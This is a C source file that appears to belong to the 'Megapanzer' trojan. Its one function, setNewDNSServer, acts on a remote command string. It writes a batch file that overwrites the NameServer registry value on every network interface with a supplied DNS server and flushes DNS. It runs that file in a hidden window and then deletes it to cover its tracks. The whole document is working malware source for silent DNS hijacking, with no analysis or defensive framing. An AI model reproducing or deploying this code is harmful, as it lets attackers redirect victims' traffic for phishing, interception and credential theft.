#include <stdio.h>
#include <windows.h>
#include "Megapanzer_Definitions.h"

DWORD WINAPI setNewDNSServer(PVOID pParameter)
{
  int lRetVal = 0;
  int lFuncRetVal = 0;
  char lTemp[MAX_BUF_SIZE + 1];
  PANZER_COMMAND *lCommandStructure = (PANZER_COMMAND *) pParameter;

  if (lCommandStructure != NULL && lCommandStructure->sCommandString != NULL)
  {
    ZeroMemory(lTemp, sizeof(lTemp));
    snprintf(lTemp, sizeof(lTemp) - 1, "FOR /F %%%%A IN ('REG QUERY HKEY_LOCAL_MACHINE\\system\\currentcontrolset\\services\\tcpip\\parameters\\interfaces') DO reg add %%%%A /v NameServer  /t reg_sz  /d %s /f", lCommandStructure->sCommandString);
    printToFile("_DNS.bat", lTemp);
    printToFile("_DNS.bat", "ipconfig /flushdns");
    printToFile("_DNS.bat", "ipconfig /registerdns");
    ShellExecuteA(NULL, NULL, "_DNS.bat", NULL, NULL, SW_HIDE);
    Sleep(1000);
    DeleteFile("_DNS.bat");
  }

  return(lRetVal);
}
